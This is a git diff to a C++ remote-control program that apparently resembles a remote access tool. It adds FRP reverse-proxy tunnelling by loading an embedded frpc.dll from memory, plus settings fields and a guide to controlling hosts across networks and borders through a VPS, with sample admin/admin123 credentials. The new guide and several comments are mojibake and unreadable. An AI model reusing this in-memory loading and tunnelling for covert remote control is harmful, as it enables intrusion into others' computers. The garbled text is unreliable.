diff --git a/2019Remote.sln b/2019Remote.sln
index 1fbb683..07cd2f0 100644
--- a/2019Remote.sln
+++ b/2019Remote.sln
@@ -19,6 +19,7 @@ Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution
ReadMe_EN.md = ReadMe_EN.md
使用方法.txt = 使用方法.txt
使用花生壳.txt = 使用花生壳.txt
+ 反向代理.md = 反向代理.md
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TinyRun", "client\TinyRun.vcxproj", "{E3F3A477-05BA-431D-B002-28EF8BFA6E86}"
diff --git a/ReadMe.md b/ReadMe.md
index 053d059..fcd2461 100644
--- a/ReadMe.md
+++ b/ReadMe.md
@@ -174,6 +174,8 @@
这种情况,在生成服务端程序时,IP填写的是VPS的IP,有些VPS供应商甚至提供域名,则填写域名也可以。通常,在VPS上运行FRP服务程序,
在本地运行FRP客户端程序。当有主机连接VPS时,则VPS这个中间人会把请求转发到本地计算机,而我们发起的控制请求也将经这个中间人打到受控主机。
+有关跨网、跨境或跨国远程控制系统的部署方式,详见:[反向代理部署说明](./反向代理.md),这是作者实践和所使用的方式。
+
# 5.更新日志
2025年以前的变更记录参看:[history](./history.md)
diff --git a/common/iniFile.h b/common/iniFile.h
index 0ddf44f..3af85ef 100644
--- a/common/iniFile.h
+++ b/common/iniFile.h
@@ -9,15 +9,19 @@
class config
{
private:
- char m_IniFilePath[_MAX_PATH];
+ char m_IniFilePath[_MAX_PATH] = { 0 };
public:
virtual ~config() {}
- config()
+ config(const std::string& path="")
{
- ::GetModuleFileNameA(NULL, m_IniFilePath, sizeof(m_IniFilePath));
- GET_FILEPATH(m_IniFilePath, "settings.ini");
+ if (path.length() == 0) {
+ ::GetModuleFileNameA(NULL, m_IniFilePath, sizeof(m_IniFilePath));
+ GET_FILEPATH(m_IniFilePath, "settings.ini");
+ } else {
+ memcpy(m_IniFilePath, path.c_str(), path.length());
+ }
}
virtual int GetInt(const std::string& MainKey, const std::string& SubKey, int nDef=0)
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 995d327..596ecae 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index b863ed3..76a6da9 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -185,6 +185,22 @@ std::string GetDbPath() {
return dbPath;
}
+std::string GetFrpSettingsPath() {
+#ifdef _DEBUG
+ char path[MAX_PATH];
+ GetModuleFileNameA(NULL, path, MAX_PATH);
+ GET_FILEPATH(path, "frpc.ini");
+ return path;
+#else
+ static char path[MAX_PATH], * name = "frpc.ini";
+ static std::string ret = (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path)) ? "." : path)
+ + std::string("\\YAMA\\");
+ static BOOL ok = CreateDirectoryA(ret.c_str(), NULL);
+ static std::string p = ret + name;
+ return p;
+#endif
+}
+
std::string GetFileName(const char* filepath) {
const char* slash1 = strrchr(filepath, '/');
const char* slash2 = strrchr(filepath, '\\');
@@ -406,6 +422,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
ON_MESSAGE(WM_PASSWORDCHECK, OnPasswordCheck)
ON_MESSAGE(WM_SHOWMESSAGE, OnShowMessage)
+ ON_MESSAGE(WM_SHOWERRORMSG, OnShowErrMessage)
ON_WM_HELPINFO()
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
@@ -690,6 +707,21 @@ VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
m_StatusBar.SetPaneText(0,strStatusMsg); //在状态条上显示文字
}
+LRESULT CMy2015RemoteDlg::OnShowErrMessage(WPARAM wParam, LPARAM lParam) {
+ CString* text = (CString*)wParam;
+ CString err = *text;
+ delete text;
+
+ CTime Timer = CTime::GetCurrentTime();
+ CString strTime = Timer.Format("%H:%M:%S");
+
+ m_CList_Message.InsertItem(0, "操作错误");
+ m_CList_Message.SetItemText(0, 1, strTime);
+ m_CList_Message.SetItemText(0, 2, err);
+
+ return S_OK;
+}
+
extern "C" BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction,
LPVOID userData, DWORD userLength, DWORD flags, LPSTR * outBytes, DWORD * outLength);
@@ -1003,9 +1035,86 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
"请设置\"公网IP\",或使用反向代理服务器的IP";
ShowMessage("使用提示", tip);
+#ifdef _WIN64
+ if (!master.empty()) {
+ int use = THIS_CFG.GetInt("frp", "UseFrp");
+ if (use) {
+ m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL);
+ }
+ }
+#endif
+
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
}
+DWORD WINAPI CMy2015RemoteDlg::StartFrpClient(LPVOID param){
+ CMy2015RemoteDlg* This = (CMy2015RemoteDlg*)param;
+ Mprintf("[FRP] Proxy thread start running\n");
+
+ do
+ {
+ DWORD size = 0;
+ LPBYTE frpc = ReadResource(IDR_BINARY_FRPC, size);
+ if (frpc == nullptr) {
+ Mprintf("Failed to read FRP DLL\n");
+ break;
+ }
+ HMEMORYMODULE hDLL = MemoryLoadLibrary(frpc, size);
+ SAFE_DELETE_ARRAY(frpc);
+ if (hDLL == NULL) {
+ Mprintf("Failed to load FRP DLL\n");
+ break;
+ }
+ typedef int (*Run)(char* cstr, int* ptr);
+ Run run = (Run)MemoryGetProcAddress(hDLL, "Run");
+ if (!run) {
+ Mprintf("Failed to get FRP function\n");
+ MemoryFreeLibrary(hDLL);
+ break;
+ }
+ std::string s = GetFrpSettingsPath();
+ int n = run((char*)s.c_str(), &(This->m_frpStatus));
+ if (n) {
+ Mprintf("Failed to run FRP function\n");
+ This->PostMessage(WM_SHOWERRORMSG,(WPARAM)new CString("反向代理: 公网IP和代理设置是否正确? FRP 服务端是否运行?"));
+ }
+ // Free FRP DLL will cause crash
+ // Do NOT use MemoryFreeLibrary and 528 bytes memory leak detected when exiting master
+ // MemoryFreeLibrary(hDLL);
+ } while (false);
+
+ CloseHandle(This->m_hFRPThread);
+ This->m_hFRPThread = NULL;
+ Mprintf("[FRP] Proxy thread stop running\n");
+
+ return 0x20250731;
+}
+
+void CMy2015RemoteDlg::ApplyFrpSettings() {
+ auto master = THIS_CFG.GetStr("settings", "master");
+ if (master.empty()) return;
+
+ config cfg(GetFrpSettingsPath());
+ cfg.SetStr("common", "server_addr", master);
+ cfg.SetInt("common", "server_port", THIS_CFG.GetInt("frp", "server_port", 7000));
+ cfg.SetStr("common", "token", THIS_CFG.GetStr("frp", "token"));
+ cfg.SetStr("common", "log_file", THIS_CFG.GetStr("frp", "log_file", "./frpc.log"));
+
+ auto ports = THIS_CFG.GetStr("settings", "ghost", "6543");
+ auto arr = StringToVector(ports, ';');
+ for (int i = 0; i < arr.size(); ++i) {
+ auto tcp = "YAMA-TCP-" + arr[i];
+ cfg.SetStr(tcp, "type", "tcp");
+ cfg.SetStr(tcp, "local_port", arr[i]);
+ cfg.SetStr(tcp, "remote_port", arr[i]);
+
+ auto udp = "YAMA-UDP-" + arr[i];
+ cfg.SetStr(udp, "type", "udp");
+ cfg.SetStr(udp, "local_port", arr[i]);
+ cfg.SetStr(udp, "remote_port", arr[i]);
+ }
+}
+
void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
if ((nID & 0xFFF0) == IDM_ABOUTBOX)
@@ -1203,6 +1312,7 @@ void CMy2015RemoteDlg::Release(){
Mprintf("======> Release\n");
DeletePopupWindow();
isClosed = TRUE;
+ m_frpStatus = STATUS_EXIT;
ShowWindow(SW_HIDE);
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
@@ -1218,6 +1328,8 @@ void CMy2015RemoteDlg::Release(){
}
LeaveCriticalSection(&m_cs);
Sleep(500);
+ while (m_hFRPThread)
+ Sleep(20);
THIS_APP->Destroy();
g_2015RemoteDlg = NULL;
@@ -1619,9 +1731,26 @@ void CMy2015RemoteDlg::OnMainSet()
{
CSettingDlg Dlg;
Dlg.m_nMax_Connect = m_nMaxConnection;
+ BOOL use = THIS_CFG.GetInt("frp", "UseFrp");
+ int port = THIS_CFG.GetInt("frp", "server_port", 7000);
+ auto token = THIS_CFG.GetStr("frp", "token");
+ auto ret = Dlg.DoModal(); //模态 阻塞
+ if (ret != IDOK) return;
- Dlg.DoModal(); //模态 阻塞
-
+ BOOL use_new = THIS_CFG.GetInt("frp", "UseFrp");
+ int port_new = THIS_CFG.GetInt("frp", "server_port", 7000);
+ auto token_new = THIS_CFG.GetStr("frp", "token");
+ ApplyFrpSettings();
+ if (use_new != use) {
+ MessageBoxA("修改FRP代理开关,需要重启当前应用程序方可生效。", "提示", MB_ICONINFORMATION);
+ } else if (port != port_new || token != token_new) {
+ m_frpStatus = STATUS_STOP;
+ Sleep(200);
+ m_frpStatus = STATUS_RUN;
+ }
+ if (use && use_new && m_hFRPThread == NULL) {
+ MessageBoxA("FRP代理服务异常,需要重启当前应用程序进行重试。", "提示", MB_ICONINFORMATION);
+ }
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
if (m== m_settings.ReportInterval && n == m_settings.DetectSoftware) {
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index 32c7bd6..e106723 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -155,7 +155,7 @@ public:
void SortByColumn(int nColumn);
afx_msg VOID OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult);
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
- template LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
+ template LRESULT OpenDialog(WPARAM wParam, LPARAM lParam)
{
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam;
T* Dlg = new T(this, ContextObject->GetServer(), ContextObject);
@@ -169,15 +169,15 @@ public:
}
VOID InitControl(); //ʼؼ
VOID TestOnline(); //Ժ
- VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
- CString ver, CString startTime, const std::vector &v, CONTEXT_OBJECT* ContextObject);
+ VOID AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing,
+ CString ver, CString startTime, const std::vector& v, CONTEXT_OBJECT* ContextObject);
VOID ShowMessage(CString strType, CString strMsg);
VOID CreatStatusBar();
VOID CreateToolBar();
VOID CreateNotifyBar();
- VOID CreateSolidMenu();
+ VOID CreateSolidMenu();
int m_nMaxConnection;
- BOOL Activate(const std::string& nPort,int nMaxConnection, const std::string& method);
+ BOOL Activate(const std::string& nPort, int nMaxConnection, const std::string& method);
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
void SendMasterSettings(CONTEXT_OBJECT* ctx);
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
@@ -189,8 +189,8 @@ public:
VOID MessageHandle(CONTEXT_OBJECT* ContextObject);
VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength);
// ʾûϢ
- CWnd* m_pFloatingTip=nullptr;
- CListCtrl m_CList_Online;
+ CWnd* m_pFloatingTip = nullptr;
+ CListCtrl m_CList_Online;
CListCtrl m_CList_Message;
void DeletePopupWindow();
@@ -206,6 +206,16 @@ public:
CMenu m_MainMenu;
CBitmap m_bmOnline[15];
uint64_t m_superID;
+ enum {
+ STATUS_UNKNOWN = -1,
+ STATUS_RUN = 0,
+ STATUS_STOP = 1,
+ STATUS_EXIT = 2,
+ };
+ HANDLE m_hFRPThread = NULL;
+ int m_frpStatus = STATUS_RUN;
+ static DWORD WINAPI StartFrpClient(LPVOID param);
+ void ApplyFrpSettings();
bool CheckValid(int trail = 14);
afx_msg void OnTimer(UINT_PTR nIDEvent);
afx_msg void OnClose();
@@ -281,4 +291,5 @@ public:
afx_msg void OnOnlineAddWatch();
afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult);
afx_msg void OnOnlineRunAsAdmin();
+ afx_msg LRESULT OnShowErrMessage(WPARAM wParam, LPARAM lParam);
};
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj
index 2a59802..19f82b2 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj
@@ -242,6 +242,7 @@
+
diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
index 2314989..c98d6b1 100644
--- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters
+++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters
@@ -188,6 +188,7 @@
+
diff --git a/server/2015Remote/SettingDlg.cpp b/server/2015Remote/SettingDlg.cpp
index c134c64..ed99996 100644
--- a/server/2015Remote/SettingDlg.cpp
+++ b/server/2015Remote/SettingDlg.cpp
@@ -22,6 +22,8 @@ CSettingDlg::CSettingDlg(CWnd* pParent)
, m_sSoftwareDetect(_T("ͷ"))
, m_sPublicIP(_T(""))
, m_sUdpOption(_T(""))
+ , m_nFrpPort(7000)
+ , m_sFrpToken(_T(""))
{
}
@@ -53,6 +55,12 @@ void CSettingDlg::DoDataExchange(CDataExchange* pDX)
DDX_Control(pDX, IDC_EDIT_UDP_OPTION, m_EditUdpOption);
DDX_Text(pDX, IDC_EDIT_UDP_OPTION, m_sUdpOption);
DDV_MaxChars(pDX, m_sUdpOption, 24);
+ DDX_Control(pDX, IDC_EDIT_FRP_PORT, m_EditFrpPort);
+ DDX_Text(pDX, IDC_EDIT_FRP_PORT, m_nFrpPort);
+ DDV_MinMaxInt(pDX, m_nFrpPort, 1, 65535);
+ DDX_Control(pDX, IDC_EDIT_FRP_TOKEN, m_EditFrpToken);
+ DDX_Text(pDX, IDC_EDIT_FRP_TOKEN, m_sFrpToken);
+ DDV_MaxChars(pDX, m_sFrpToken, 24);
}
BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
@@ -61,6 +69,8 @@ BEGIN_MESSAGE_MAP(CSettingDlg, CDialog)
ON_EN_CHANGE(IDC_EDIT_MAX, &CSettingDlg::OnEnChangeEditMax)
ON_BN_CLICKED(IDC_RADIO_ALL_SCREEN, &CSettingDlg::OnBnClickedRadioAllScreen)
ON_BN_CLICKED(IDC_RADIO_MAIN_SCREEN, &CSettingDlg::OnBnClickedRadioMainScreen)
+ ON_BN_CLICKED(IDC_RADIO_FRP_OFF, &CSettingDlg::OnBnClickedRadioFrpOff)
+ ON_BN_CLICKED(IDC_RADIO_FRP_ON, &CSettingDlg::OnBnClickedRadioFrpOn)
END_MESSAGE_MAP()
@@ -126,6 +136,13 @@ BOOL CSettingDlg::OnInitDialog()
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen");
((CButton*)GetDlgItem(IDC_RADIO_ALL_SCREEN))->SetCheck(!all);
((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->SetCheck(all);
+
+ BOOL frp = THIS_CFG.GetInt("frp", "UseFrp");
+ ((CButton*)GetDlgItem(IDC_RADIO_FRP_OFF))->SetCheck(!frp);
+ ((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->SetCheck(frp);
+ m_nFrpPort = THIS_CFG.GetInt("frp", "server_port", 7000);
+ m_sFrpToken = THIS_CFG.GetStr("frp", "token").c_str();
+
UpdateData(FALSE);
return TRUE;
@@ -152,6 +169,11 @@ void CSettingDlg::OnBnClickedButtonSettingapply()
BOOL all = ((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->GetCheck();
THIS_CFG.SetInt("settings", "MultiScreen", all);
+ BOOL frp = ((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->GetCheck();
+ THIS_CFG.SetInt("frp", "UseFrp", frp);
+ THIS_CFG.SetInt("frp", "server_port", m_nFrpPort);
+ THIS_CFG.SetStr("frp", "token", m_sFrpToken.GetString());
+
m_ApplyButton.EnableWindow(FALSE);
m_ApplyButton.ShowWindow(SW_HIDE);
}
@@ -206,3 +228,17 @@ void CSettingDlg::OnBnClickedRadioMainScreen()
BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_MAIN_SCREEN))->GetCheck();
((CButton*)GetDlgItem(IDC_RADIO_ALL_SCREEN))->SetCheck(!b);
}
+
+
+void CSettingDlg::OnBnClickedRadioFrpOff()
+{
+ BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_FRP_OFF))->GetCheck();
+ ((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->SetCheck(!b);
+}
+
+
+void CSettingDlg::OnBnClickedRadioFrpOn()
+{
+ BOOL b = ((CButton*)GetDlgItem(IDC_RADIO_FRP_ON))->GetCheck();
+ ((CButton*)GetDlgItem(IDC_RADIO_FRP_OFF))->SetCheck(!b);
+}
diff --git a/server/2015Remote/SettingDlg.h b/server/2015Remote/SettingDlg.h
index 24c85db..f655e9b 100644
--- a/server/2015Remote/SettingDlg.h
+++ b/server/2015Remote/SettingDlg.h
@@ -42,4 +42,10 @@ public:
afx_msg void OnBnClickedRadioMainScreen();
CEdit m_EditUdpOption;
CString m_sUdpOption;
+ afx_msg void OnBnClickedRadioFrpOff();
+ afx_msg void OnBnClickedRadioFrpOn();
+ CEdit m_EditFrpPort;
+ int m_nFrpPort;
+ CEdit m_EditFrpToken;
+ CString m_sFrpToken;
};
diff --git a/server/2015Remote/res/frpc.dll b/server/2015Remote/res/frpc.dll
new file mode 100644
index 0000000..6292d4f
Binary files /dev/null and b/server/2015Remote/res/frpc.dll differ
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 51a0dc4..d906da3 100644
Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ
diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h
index 5a71f4b..f19e002 100644
--- a/server/2015Remote/stdafx.h
+++ b/server/2015Remote/stdafx.h
@@ -88,6 +88,7 @@
#define WM_OPENDRAWINGBOARD WM_USER+3020
#define WM_PASSWORDCHECK WM_USER+3021
#define WM_SHOWMESSAGE WM_USER+3022
+#define WM_SHOWERRORMSG WM_USER+3023
#ifdef _UNICODE
#if defined _M_IX86
diff --git a/反向代理.md b/反向代理.md
new file mode 100644
index 0000000..ae14dd0
--- /dev/null
+++ b/反向代理.md
@@ -0,0 +1,40 @@
+##
+
+v1.1.5汾سͷFRPͻ˽мɣԱֿ֧ҵԶ̿ơ
+FRPΪٷһGoߣɰ NAT ǽıط¶
+ʹõĵFRPΪ䣬ģַֿΪhttps://github.com/yuanyuanxiang/frp
+
+## ʹ÷
+
+1.FRP˵İװ
+
+Դ[FRPٷ](https://github.com/fatedier/frp/releases)ֿط˳"frps"sǷˡ
+˵ļΪfrps.iniʾ£
+
+```ini
+[common]
+bind_port = 7000
+token=1234567a
+dashboard_port = 7500 # ҪĻ
+dashboard_user = admin # ûѡ
+dashboard_pwd = admin123 # 루ѡ
+```
+
+У"bind_port"֮⣬DZдtokenκοͻ˾ӡ
+
+LinuxΪnohup ./frps -c frps.ini > frps.log 2>&1 &
+
+2.FRPͻ˵ʹ
+
+سYAMAȷѡ
+
+* IP˼FRPIPFRP˱벿һйIPķ棩
+* FRPѡãд˿ڣFRP˶˿ڣfrps.iniļе"bind_port"token
+
+ÿYAMAʱԶFRPͻˣȷؽпԶ̿ơ
+
+## ʵ
+
+ʹVPSԶ̿ơֻҪÿ3~10ŷɴһͿԶ̿ϵͳ
+
+ڴˣһVPSVPNʹôVSPרVPN¡һãֲΪ